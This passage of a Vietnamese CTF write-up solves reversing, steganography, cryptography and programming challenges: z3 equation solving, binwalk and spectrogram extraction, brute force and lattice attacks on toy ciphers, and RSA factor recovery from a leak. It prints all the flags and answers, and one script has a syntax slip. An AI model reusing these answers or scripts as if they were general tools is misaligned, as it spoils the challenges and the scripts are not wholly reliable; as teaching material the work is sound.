ecx debug055:02760024 movzx edx, byte ptr [edi+ecx] debug055:02760028 imul edx, 1F8h debug055:0276002E add eax, edx debug055:02760030 inc ecx debug055:02760031 movzx edx, byte ptr [edi+ecx] debug055:02760035 imul edx, 357h debug055:0276003B sub eax, edx debug055:0276003D inc ecx debug055:0276003E movzx edx, byte ptr [edi+ecx] debug055:02760042 imul edx, 46h ; 'F' debug055:02760045 add eax, edx debug055:02760047 inc ecx debug055:02760048 movzx edx, byte ptr [edi+ecx] debug055:0276004C imul edx, 16Fh debug055:02760052 sub eax, edx debug055:02760054 inc ecx debug055:02760055 movzx edx, byte ptr [edi+ecx] debug055:02760059 imul edx, 2FEh debug055:0276005F sub eax, edx debug055:02760061 inc ecx debug055:02760062 movzx edx, byte ptr [edi+ecx] debug055:02760066 imul edx, 17Ah debug055:0276006C add eax, edx debug055:0276006E inc ecx debug055:0276006F movzx edx, byte ptr [edi+ecx] debug055:02760073 imul edx, 15Ah debug055:02760079 add eax, edx debug055:0276007B inc ecx debug055:0276007C movzx edx, byte ptr [edi+ecx] debug055:02760080 imul edx, 326h debug055:02760086 sub eax, edx debug055:02760088 inc ecx debug055:02760089 movzx edx, byte ptr [edi+ecx] debug055:0276008D imul edx, 190h debug055:02760093 sub eax, edx debug055:02760095 inc ecx debug055:02760096 movzx edx, byte ptr [edi+ecx] debug055:0276009A imul edx, 129h debug055:027600A0 add eax, edx debug055:027600A2 inc ecx debug055:027600A3 movzx edx, byte ptr [edi+ecx] debug055:027600A7 imul edx, 2EDh debug055:027600AD add eax, edx debug055:027600AF inc ecx debug055:027600B0 movzx edx, byte ptr [edi+ecx] debug055:027600B4 cmp eax, 29CBh ``` Đây là một phần của hàm dword_C14448(). Phân tích code asm thì thấy nó sẽ lấy 14 kí tự input tính toán và so sánh với một giá trị gì đó. Mình kiểm tra thì nó có 14 phương trình. Cấu trúc thì như nhau. Dưới đây là script của mô phỏng lại phương trình đó và solve nó bằng z3 #### Sol : ``` from z3 import * res = [BitVec('x' + str(i), 32) for i in range(14)] solver = Solver() solver.add( 0x6E * res[0] + 0x1C3 * res[1] + 0x348 * res[2] + 0x1F8 * res[3] - 0x357 * res[4] + 0x46 * res[5] - 0x16F * res[6] - 0x2FE * res[7] + 0x17A * res[8] + 0x15A * res[9] - 0x326 * res[10] - 0x190 * res[11] + 0x129 * res[12] + 0x2ED * res[13] == 0x29CB, 0x2A * res[0] + 0x3B2 * res[1] + 0x2C1 * res[2] + 0x23A * res[3] - 0x3D1 * res[4] + 0x152 * res[5] + 0x221 * res[6] - 0x2FC * res[7] - 0x0DF * res[8] - 0x36F * res[9] + 0x1A2 * res[10] + 0x179 * res[11] + 0x284 * res[12] - 0x64 * res[13] == 0x0F0ED, 0x328 * res[0] + 0x3CD * res[1] + 0x3CC * res[2] + 0x329 * res[3] + 0x0EA * res[4] - 0x1A * res[5] + 0x12B * res[6] - 0x2E * res[7] - 0x337 * res[8] + 0x262 * res[9] + 0x37 * res[10] - 0x0A4 * res[11] + 0x383 * res[12] + 0x2D5 * res[13] == 0x66098, 0x66 * res[0] - 0x3C9 * res[1] - 0x0C0 * res[2] - 0x0BD * res[3] - 0x9D * res[4] + 0x2D1 * res[5] - 0x299 * res[6] + 0x38E * res[7] + 0x15 * res[8] - 0x14E * res[9] + 0x280 * res[10] + 0x0E1 * res[11] - 0x128 * res[12] + 0x50 * res[13] == 0x6CE4, 0x2ED * res[0] + 0x8A * res[1] - 0x155 * res[2] - 0x8C * res[3] - 0x239 * res[4] + 0x259 * res[5] - 0x286 * res[6] - 0x1DA * res[7] + 0x154 * res[8] - 0x196 * res[9] + 0x97 * res[10] + 0x26D * res[11] + 0x3E0 * res[12] - 0x1EB * res[13] == 0x150DD, 0x46 * res[0] - 0x2DF * res[1] + 0x243 * res[2] + 0x78 * res[3] - 0x0EE * res[4] + 0x99 * res[5] - 0x0C5 * res[6] - 0x0EB * res[7] - 0x0AE * res[8] + 0x28F * res[9] - 0x65 * res[10] + 0x20B * res[11] - 0x147 * res[12] + 0x3C2 * res[13] == 0x1E68B, 0x264 * res[0] + 0x2BE * res[1] + 0x3B5 * res[2] - 0x1D3 * res[3] - 0x8 * res[4] - 0x150 * res[5] + 0x3C1 * res[6] - 0x3E4 * res[7] - 0x58 * res[8] - 0x19C * res[9] + 0x3AA * res[10] + 0x261 * res[11] - 0x17F * res[12] - 0x167 * res[13] == 0x18490, 0x0B3 * res[0] - 0x63 * res[1] - 0x0E0 * res[2] + 0x24 * res[3] + 0x37C * res[4] + 0x0AA * res[5] + 0x33 * res[6] - 0x11E * res[7] - 0x13D * res[8] + 0x139 * res[9] + 0x3DC * res[10] - 0x14C * res[11] + 0x2DD * res[12] + 0x2B3 * res[13] == 0x3CC54, 0x102 * res[0] + 0x115 * res[1] + 0x0D3 * res[2] + 0x0DC * res[3] + 0x3A1 * res[4] - 0x35C * res[5] - 0x0ED * res[6] + 0x141 * res[7] - 0x19C * res[8] - 0x2B6 * res[9] + 0x3CC * res[10] + 0x3AA * res[11] + 0x24B * res[12] + 0x1B9 * res[13] == 0x45670, 0x3C4 * res[0] + 0x305 * res[1] - 0x0A9 * res[2] + 0x87 * res[3] - 0x0E6 * res[4] + 0x30 * res[5] + 0x20F * res[6] - 0x3D0 * res[7] - 0x94 * res[8] - 0x2CC * res[9] + 0x56 * res[10] + 0x224 * res[11] + 0x1B5 * res[12] + 0x183 * res[13] == 0x21A0F, 0x256 * res[0] + 0x157 * res[1] + 0x181 * res[2] - 0x306 * res[3] - 0x243 * res[4] - 0x9 * res[5] - 0x373 * res[6] - 0x1A3 * res[7] + 0x223 * res[8] + 0x200 * res[9] - 0x365 * res[10] - 0x56 * res[11] + 0x1B6 * res[12] - 0x39C * res[13] == 0x0FFFE3896, 0x0A3 * res[0] + 0x2B2 * res[1] + 0x22D * res[2] + 0x3D6 * res[3] - 0x9A * res[4] - 0x76 * res[5] - 0x2A0 * res[6] + 0x63 * res[7] + 0x373 * res[8] + 0x15 * res[9] - 0x3B9 * res[10] + 0x214 * res[11] - 0x232 * res[12] + 0x225 * res[13] == 0x22874, 0x151 * res[0] + 0x153 * res[1] + 0x25F * res[2] - 0x187 * res[3] - 0x2AC * res[4] + 0x1CC * res[5] - 0x155 * res[6] - 0x2F5 * res[7] - 0x22D * res[8] + 0x17B * res[9] - 0x377 * res[10] - 0x0B2 * res[11] - 0x294 * res[12] - 0x2CE * res[13] == 0x0FFFBEC4D, 0x2AA * res[0] + 0x95 * res[1] + 0x83 * res[2] + 0x25B * res[3] - 0x77 * res[4] - 0x2E1 * res[5] + 0x39D * res[6] + 0x251 * res[7] + 0x0A2 * res[8] - 0x27D * res[9] + 0x268 * res[10] + 0x2F9 * res[11] + 0x14 * res[12] - 0x115 * res[13] == 0x3C5E6 ) if solver.check() == sat: model = solver.model() for i in res: print(chr(model.evaluate(i).as_long() & 0xff), end = '') ``` Kết quả là : **q20OK36QBiWkZT** Nhập kết quả và lấy flag ![](https://hackmd.io/_uploads/HkA1kHtK2.png) ## Stego ### CutieK1tty #### Des : ![](https://hackmd.io/_uploads/HkuqIfKt3.png) #### Sol : + Đề cho file ảnh png cùng với đó là mô tả. + Binwalk nó ra xem thử có gì không. ![](https://hackmd.io/_uploads/ryHH8zKt3.png) + Kiểm tra thì thấy có file nén rar trong đó. + Dùng lệnh `binwalk -Me cut3_c4t.png` để giải nén file bị ẩn. Sau khi giải nén được 2 file: `purrr_2.mp3` và `y0u_4r3_cl0s3.rar`. ![](https://hackmd.io/_uploads/Hy1xDzYtn.png) + Mở file `y0u_4r3_cl0s3.rar` thì nó thông báo bị lỗi. ![](https://hackmd.io/_uploads/r1YUvftF3.png) + Kiểm tra file header bằng bất kì hexeditor nào. Nhận thấy rằng 8 byte đầu của file sai định dạng của file rar (tham khảo [trang này](https://www.garykessler.net/library/file_sigs.html)). Chỉnh 8 byte đầu `43 61 74 21 1A 07 01 00` thành `52 61 72 21 1A 07 01 00`. + Giải nén file `y0u_4r3_cl0s3.rar` ra thì nó yêu cầu mật khẩu. Lúc này còn mỗi file `purrr_2.mp3` là chưa đụng tới. + Cho file này vào Audacity đồng thời chỉnh sound sang dạng Spectrogram. ![](https://hackmd.io/_uploads/S15KjGFYh.png) + Giải nén file rar mới nãy với password là `sp3ctrum_1s_y0ur_fr13nd`. ![](https://hackmd.io/_uploads/rJmo2MFK3.png) + Bỏ chuỗi này `ZjByM241MWNzX21hNXQzcg==` lên [CyberChef](https://gchq.github.io/CyberChef/) ![](https://hackmd.io/_uploads/r1NE6fFFh.png) => Flag: `CHH{f0r3n51cs_ma5t3r}` ## Crypto ### Basic operator - Đề bài cho chúng ta một hệ thống mã hóa, hệ thống này có vẻ là AES-ECB nhưng có điểm khác là block_size của nó chỉ bằng 4. - File `cipher.txt` cho chúng ta những block đã được mã hóa, với block đầu tiên ta biết được format là `CHH{` ,có thể xác định block đầu tiên của flag bằng cách mã hóa CHH{ và so sánh với giá trị block mã hóa đầu tiên trong cipher. Nếu khớp, ta đã tìm được kí tự đầu tiên của flag. - Đối với các block tiếp theo, chúng ta sẽ thực hiện brute-force, để tìm giá trị của từng kí tự trong flag. ``` from string import * from tqdm import tqdm p = 1341161101353773850779 e = 2 def padding_pkcs7(data,block_size=4): tmp = len(data) + (block_size - len(data) % block_size) return data.ljust(tmp,bytes([block_size-(len(data)%block_size)])) def split_block(data,block_size): return list(int.from_bytes(data[i:i+block_size],'little') for i in range(0,len(data),block_size)) def plus_func(data,shift): return (data+shift)&0xffffffff def mul_func(data,mul): return (data*mul)&0xffffffff def xor_shift_right_func(data,bit_loc): return (data^(data>>bit_loc))&0xffffffff def pow_func(data,e,p): return pow(data,e,p) def exp_func(data,base,p): return pow(base,data,p) def ecb_mode(data): return list(pow_func(exp_func(xor_shift_right_func(mul_func(plus_func(block,3442055609),2898124289),1),e,p),e,p) for block in split_block(padding_pkcs7(data,4),4)) cipher = [752589857254588976778, 854606763225554935934, 102518422244000685572, 779286449062901931327, 424602910997772742508, 1194307203769437983433, 501056821915021871618, 691835640758326884371, 778501969928317687301, 1260460302610253211574, 833211399330573153864, 223847974292916916557] for i in tqdm(range(len(printable))): for j in tqdm(range(len(printable))): for k in range(len(printable)): for l in range(len(printable)): tmp = (printable[i]+printable[j]+printable[k]+printable[l]).encode() enc = ecb_mode(tmp)[0] if enc == cipher[1]: #thay index từ block 1 đến 10 print(tmp) exit(0) ``` - Do cơ chế padding nên block cuối cùng sẽ làm như sau: ``` for a in tqdm(range(len(printable))): for b in tqdm(range(len(printable))): tmp = (printable[a]+ printable[b]+ '}').encode() + b'\x01' enc = ecb_mode(tmp)[0] if enc == cipher[11]: print(tmp) exit(0) ``` => Flag :`CHH{w3lc0m3_70_7h3_m47h_w0rld(1_h4t3_1t_th3r3)}` ### Knapsack Ls #### Sol : - Chúng ta sẽ giải mã ciphertext bằng cách xây dựng lattice và áp dụng thuật toán LLL (Lenstra–Lenstra–Lovász) để tìm kiếm vector gần nhất trong lattice. Nếu vector có hai giá trị duy nhất thì thêm nó vào `list_bin` ``` # from sage.all import * from Crypto.Util.number import long_to_bytes, bytes_to_long from Crypto.Util import number from Crypto.Util.Padding import pad,unpad H = [43840113305581131795279797789093610869, 25671162443490210031784763050767207532, 6001769265119430614631782649952643356, 73521673497713025029239337461919881111, 86207439010568594314162414481970962317, 47714522703176373455115652188956101728, 39013785450660799339071487833855117053, 99720328779553130323261570624699472274, 56801730014082032103764648702913670605, 56875947939072280053341910569703290481, 6777018736332231356360273109122323983, 64282820255623342830695520268826453473, 21510177863483107761513368858017158458, 88999212996376205373411604716481814294, 21167180433710172715561410769658980338, 53988354426206626048276676648717671789, 82454574554107632872906561271793885103, 34238518652709304551635369779340095136, 5081213770246109310854315030563596017, 35676546839591659980876620994236683080, 61804490028276149551813742275879895343, 47868484398459384397990013507113194128, 79141732458875716511767486956076635010, 89768484644472604982812438158836379513, 108665660470366488973920414914088436457, 42013527007997056247679460159005166736, 59516238668397055079712758172437350204, 12247246885302547631808898114678421540, 68119702452821826703846268698978422087, 46477361269068664125259653428529967798, 104192935540102711457274510496328770849, 39480897318804270587289396967546023715] c = b'\xe7\x81W\x8eA0\xb0\x92tM\xc9\x06\x07~$\xef\x01\x0c\x16\x8cP\x11l\x81\xe8\xa7\xa3\x0e\xec\x8a~\xe9Z\x02\xb28\x92z^\x16m\xb5\x80o\xf6\xd9\xec@\xc0\x85\x02\xdbvo\x8bB\xb3\xa2\xe4\x00\x01\xc2\xcaL\xdb\x8a\t\x03\xaf\xa528\xc8\xa1\xf6\x05u\xeb\xc0\xcbc\x06\xd8 \x02\xca@E&\xf0d4A\x85\x04\x84p~\xa5\t\xfe\x02\xd9\xa8\xcbp\xb9\xe8\x14\x04\x9a\xb9\x16#\x0b\xb8\x98\x90\x02\x8c\xe2\xf1\x8a\xf1\xe3Z\xe4\xff\xb4"\xeb\x86k\x97\x1b\x02IsN%\xd5\xect\x96\xb3\xe7\xf5Mw\xe6S\xbd\x02\xb7\xc4\xe9\xa6\x019q\xc9\xdd\xaf\xad9bG\xd8\x1e\x02\x18{\xc6q\xbe=\x97&\x18qj\xed\xfd\xb8\x94\xfd\x01' list_blocks = [c[i:i+17] for i in range(0, len(c), 17)] def convert_bin_bytes(data:list, bit_size:int)->bytes:# little endian data = sum(data[i]<<i for i in range(bit_size)) return data.to_bytes(bit_size//8,'little') list_bin = [] # for block in list_blocks: # block = int.from_bytes(block, 'little') # I = identity_matrix(len(H)) # I = I.insert_row(len(H), [ZZ(0) for x in range(len(H))]) # L_helper = [[ZZ(x)] for x in H] # L_helper.append([-block]) # L = I.augment(matrix(L_helper)) # for i in L.LLL(): # if len(set(i)) == 2: # list_bin.append(list(i[:-1])) #print(list_bin) list_pt = [[1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0], [1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0], [1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0], [1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0], [0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0], [1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0], [0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0], [0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0], [1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0], [1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0], [1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0]] for i in list_pt: print(convert_bin_bytes(i, 32).decode(), end='') ``` => Flag : `CHH{kn4p54ck_15_br0k3n_th3r3f0r3_e4sy!!!}` ### Rubic Cipher cipher.txt: ``` b';V".24$9\x0cw`\x02 \x16\x0b9j:2F\x128-x?\x05C\x1b3$\nShX*W\x01,\x025\x01\x0e\x17\x17\x01\x1c>X\x02C=\x00<\x1a0\x18>\x06\x00JE\x1e\x00\x16X\x0b \x0c\x1d\x08\r9\x0b0\x12q\x1fRS7\x0f3\x01tfa)\x07\x0ee3\n(<\x163j\x0b0.Z%%q8j$2' ``` rubik.txt: ``` | 0 1 2 | | 3 4 5 | | 6 7 8 | 9 10 11 | 12 13 14 | 15 16 17 | 18 19 20 21 22 23 | 24 25 26 | 27 28 29 | 30 31 32 33 34 35 | 36 37 38 | 39 40 41 | 42 43 44 45 46 47 48 49 50 51 52 53 ``` scramble_sequece.txt: ``` (F, AAAAAAAAABBBCCCDDDEEEBBBCCCDDDEEEBBBCCCDDDEEEFFFFFFFFF) = AAAAAABBBBBFCCCADDEEEBBFCCCADDEEEBBFCCCADDEEEDDDFFFFFF +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ IV = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuv" KEY="D R2 F2 D B2 D2 R2 B2 D L2 D' R D B L2 B' L' R' B' F2 R2 D R2 B2 R2 D L2 D2 F2 R2 F' D' B2 D' B U B' L R' D'" +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ``` - Khi nhìn thấy `IV` và `KEY` này mình nghĩ đây có thể là dạng AES-CBC. Số ô của rubic chỉ có 54 ô nên mình sẽ chia ciphertext ra làm hai block rồi gắn index vào rubic và xoay theo `KEY` sau đó xor với `IV` rồi làm tiếp với block thứ 2 và xor với block trước đó như hình dưới đây. ![](https://hackmd.io/_uploads/HkVxN_tth.png) - Sau khi xoay theo `KEY` thì được block1 và block2: + block1: ``` b'\x02\n\x0b?2.w\x17"$x;\x12<:2`9\x0c$ ,-4j\x058h3\x01=S>\x17VW\x019\x01X\x1b5X\x02\x0e\x1c\x16\x00FCC\x1a*\x02' ``` + block2: ``` b'\x0bf\x1dS\x00\x06\x16\x0b>ER0\x12$9\x0bX\x08\x00t \n\x1fJ\r7q)\x01\x168aZj\x18e3\x1e0\x073<%%3.\x0cj0q\x0f2\x0e(' ``` - Có được hai block rồi ta đem xor và thu flag sol.py: ``` from pwn import xor ciphertext= b';V".24$9\x0cw`\x02 \x16\x0b9j:2F\x128-x?\x05C\x1b3$\nShX*W\x01,\x025\x01\x0e\x17\x17\x01\x1c>X\x02C=\x00<\x1a0\x18>\x06\x00JE\x1e\x00\x16X\x0b \x0c\x1d\x08\r9\x0b0\x12q\x1fRS7\x0f3\x01tfa)\x07\x0ee3\n(<\x163j\x0b0.Z%%q8j$2' IV = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuv" KEY="D R2 F2 D B2 D2 R2 B2 D L2 D' R D B L2 B' L' R' B' F2 R2 D R2 B2 R2 D L2 D2 F2 R2 F' D' B2 D' B U B' L R' D'" block1=b'\x02\n\x0b?2.w\x17"$x;\x12<:2`9\x0c$ ,-4j\x058h3\x01=S>\x17VW\x019\x01X\x1b5X\x02\x0e\x1c\x16\x00FCC\x1a*\x02' block2=b'\x0bf\x1dS\x00\x06\x16\x0b>ER0\x12$9\x0bX\x08\x00t \n\x1fJ\r7q)\x01\x168aZj\x18e3\x1e0\x073<%%3.\x0cj0q\x0f2\x0e(' flag1 = xor(block1,IV) flag2= xor(block2, ciphertext[:54] print(flag1 + flag2) ``` => Flag : `CHH{wh0_kn3w_rub1k_puzzl3_c4n_b3_u53d_f0r_3ncryp710n_t00?}` ### RSA Percent Leak server.py: ``` from Crypto.Util.number import * from secret import flag if __name__ == '__main__': p = getPrime(1024) q = getPrime(1024) n = p*q l = (p & q) * (p ^ q) | 0x1337 c = pow(bytes_to_long(flag), 65537, n) print(f'n = {hex(n)}\n') # n = 0xa7643b16219097b5cc47af0acfbb208b2717aa2c2dbdbd37a3e6f6f40ae12b77e8d129eb672d660b6e146682a32d70c01f8e481b90b5ec710dabb57e8de2661fd49ec9d3a23d159bd5fb397047a1e053bbbf579d996e7fe7af56332753b816f4a5353966bfe50b7e0d95d9f235f5edfd59e23d3a7523cd25ea6e34a6f16f2d14b21c43f3bb7b68a8b2237a77fb6cb4cf3ba3987c478a39391b0f42a0d0230846a054599fea4effe27fcd9b514f711831b38f0288db256deef967f3d3d20b9e0071027b99cae1b0a3bd452efd654d1a4a431291ba8a99743d44a35afcb1db267a8c63574ac1ef32c8e71de473cc98aea927e3de0daf5819600818edac66b74b9b print(f'l = {hex(l)}\n') # l = 0x168b7f77f276e7f9f55df25d096cd5abbf632f22eae79ba72bad2d60ebccb03c6b614be2c682d58655a335277afa171fb085b40519311be7e74d26d37a066d9487ce511ad72e54779225534ca37c2714e51aca763676590dc2fb1e70c66dc8113704e168d46ab91fd8cdc77738314be6e1b20fc5664b747dddc94ff17f2fc7c80e75bcdc1c3618c54144070f13e698b31ff3d601559a1dafb62904c1079d7ba69ec5d024068dd3b2e6c2d71e4a81589734a5c6e4d4a05335edaf42e9aacf339f930ffb909fa100398eff29a61cb2e58eeff756b5a7b101d69f1e11fa989431bc175e0d59264da400f2d63dfaf1b2ba27ee9698a6a9a83bfe57aab0c069089fff print(f'c = {hex(c)}\n') # c = 0x56b894058c86db8641f2586a94794662520de144dbfbd0d3ad36a50b81b6d70a6a1d6f3e7faf2b37b1c53127e5684d235191664741ff2f0516c3d7596f3995abdd16a171be43f5660c9d4620db64f2430ae8c314f5576d912aae2e643517466b3fb409b4589b4726f12f3c376de45960dafdb658279b232118e6a9b1383ef600cdef465c499d330776c89cc5e0d02ec97a0614bc1d557f4e53595772bf02310105fe0ff8e27ba0376500990e6e8b2eb318bfa20f46b62c8841e8f97e8b649a2b18e4d6dc1bc2184184288559f8e43043bbff6f27479aa7846dac4f1d9e62ee3167fe511a6606f4ff69fb61bb4d2610913bc85e57144b0fe58cfca8e8b2ba996e ``` - Chúng ta sẽ tìm p và q thông qua l và từ đó giải hệ mã RSA. #### Sol : + Ý tưởng : _ Đầu tiên, chúng ta cần tìm các giá trị bp và bq (bit cuối cùng của p và q) sao cho hint(bp, bq) & 1 == l & 1 và (bp * bq) & 1 == n & 1. Ta có thể sử dụng vòng lặp for và product để thử tất cả các giá trị có thể của bp và bq. _ Sau khi có được các giá trị bp và bq từ bước trên, ta có thể tiếp tục tìm các bit tiếp theo của p và q. Ta sẽ duyệt qua từng bit và thử tất cả các giá trị của bp và bq để kiểm tra xem các giá trị bit đã biết trước có khớp với l và n không. Sau mỗi lần duyệt, chúng ta cập nhật các giá trị p và q cho các bit đã biết trước và tiếp tục với các bit tiếp theo. ``` from Crypto.Util.number import * from itertools import product from tqdm import tqdm n = 0xa7643b16219097b5cc47af0acfbb208b2717aa2c2dbdbd37a3e6f6f40ae12b77e8d129eb672d660b6e146682a32d70c01f8e481b90b5ec710dabb57e8de2661fd49ec9d3a23d159bd5fb397047a1e053bbbf579d996e7fe7af56332753b816f4a5353966bfe50b7e0d95d9f235f5edfd59e23d3a7523cd25ea6e34a6f16f2d14b21c43f3bb7b68a8b2237a77fb6cb4cf3ba3987c478a39391b0f42a0d0230846a054599fea4effe27fcd9b514f711831b38f0288db256deef967f3d3d20b9e0071027b99cae1b0a3bd452efd654d1a4a431291ba8a99743d44a35afcb1db267a8c63574ac1ef32c8e71de473cc98aea927e3de0daf5819600818edac66b74b9b c = 0x56b894058c86db8641f2586a94794662520de144dbfbd0d3ad36a50b81b6d70a6a1d6f3e7faf2b37b1c53127e5684d235191664741ff2f0516c3d7596f3995abdd16a171be43f5660c9d4620db64f2430ae8c314f5576d912aae2e643517466b3fb409b4589b4726f12f3c376de45960dafdb658279b232118e6a9b1383ef600cdef465c499d330776c89cc5e0d02ec97a0614bc1d557f4e53595772bf02310105fe0ff8e27ba0376500990e6e8b2eb318bfa20f46b62c8841e8f97e8b649a2b18e4d6dc1bc2184184288559f8e43043bbff6f27479aa7846dac4f1d9e62ee3167fe511a6606f4ff69fb61bb4d2610913bc85e57144b0fe58cfca8e8b2ba996e l = 0x168b7f77f276e7f9f55df25d096cd5abbf632f22eae79ba72bad2d60ebccb03c6b614be2c682d58655a335277afa171fb085b40519311be7e74d26d37a066d9487ce511ad72e54779225534ca37c2714e51aca763676590dc2fb1e70c66dc8113704e168d46ab91fd8cdc77738314be6e1b20fc5664b747dddc94ff17f2fc7c80e75bcdc1c3618c54144070f13e698b31ff3d601559a1dafb62904c1079d7ba69ec5d024068dd3b2e6c2d71e4a81589734a5c6e4d4a05335edaf42e9aacf339f930ffb909fa100398eff29a61cb2e58eeff756b5a7b101d69f1e11fa989431bc175e0d59264da400f2d63dfaf1b2ba27ee9698a6a9a83bfe57aab0c069089fff def find(p, q): return (p & q) * (p ^ q) | 0x1337 def get(num, nbit): return num & ((1 << nbit) - 1) conjecture = [] for bp, bq in product(range(2), repeat=2): if find(bp, bq) & 1 == l & 1 and (bp * bq) & 1 == n & 1: conjecture += [(bp, bq)] nbit = 1 found = False bar = tqdm(total=1024) while not found: nbit += 1 bar.update(1) next_conjecture = [] for prev_p, prev_q in conjecture: for bp, bq in product(range(2), repeat=2): next_p = prev_p + bp * (1 << nbit - 1) next_q = prev_q + bq * (1 << nbit - 1) conjecture_l = find(next_p, next_q) if get(conjecture_l, nbit) != get(l, nbit): continue if get(next_p * next_q, nbit) == get(n, nbit): next_conjecture += [(next_p, next_q)] conjecture = next_conjecture for p, q in conjecture: if find(p, q) == l and p * q == n: print("FOUND") print(f'{p = }') print(f'{q = }') found = (p, q) break p, q = found e = 65537 phi=(p-1)*(q-1) d = inverse(e, phi) print("Flag:", long_to_bytes(pow(c, d, n))) bar.close() ``` ![](https://hackmd.io/_uploads/r1BVstKt3.png) => Flag : `CHH{pl3453_pr0v1d3_4_d3t41ll3d_wr1t3up_b3c4us3_7h1s_k1nd_0f_a77ack_1s_r4th3r_r4r3}` ## Program ### Identity Security #### Sol : ```num = int(input().replace('\r', '')) account_list = [] for i in range(num): account = input().replace('\r', '') account_list.append(account) def security(text): split_text = text.split('@') list_text = list(split_text[0]) if len(split_text) < 2: for i in range(len(list_text)-5): list_text[i+2] = '*' return ''.join(list_text) else: if len(list_text) < 8: for i in range(len(list_text)-2): list_text[i+1] = '*' else: for i in range(len(list_text)-5): list_text[i+2] = '*' return ''.join(list_text) + '@' + split_text[1] for i in range(num): print(security(account_list[i])) ``` ![image](https://github.com/KMANVK/Kosma_Challenges/assets/94669750/4b7eab78-2640-4453-8a14-8765c88eae0b) ### Decrypt #### Sol : ``` n = int(input()) s = input().replace('\r', '') ul = [] for i in range(n): if n % (i+1) == 0: ul.append(i+1) for i in ul: s = s[0:i][::-1] + s[i:n] print(s) ``` ![image](https://github.com/KMANVK/Kosma_Challenges/assets/94669750/2acd6b37-e768-43dd-92bb-23bafec94f56)